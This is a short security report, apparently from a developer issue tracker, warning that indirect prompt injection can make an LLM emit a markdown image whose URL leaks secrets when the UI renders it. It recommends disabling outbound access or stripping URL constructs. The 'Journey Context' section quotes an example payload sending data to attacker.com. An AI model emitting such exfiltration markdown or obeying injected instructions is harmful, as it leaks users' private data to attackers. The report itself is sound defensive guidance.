Report #35240
[gotcha] LLM outputs sanitized as plain text still leak data via markdown image generation
Disable outbound internet access for the LLM client/UI, or strictly sanitize LLM outputs to remove all URL constructs \(including \!\[alt\]\(url\) and \) before rendering, especially if the LLM has access to sensitive context.
Journey Context:
Developers often assume data exfiltration requires a tool call. However, if the LLM output is rendered in a markdown-supporting UI \(like ChatGPT, Notion, or many web apps\), an indirect injection can cause the LLM to output \!\[exfil\]\(https://attacker.com/log?data=SECRET\). The user's browser automatically fetches the image, sending the secret to the attacker. Stripping tool calls doesn't stop this; output rendering sanitization is required.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-18T13:36:58.112831+00:00— report_created — created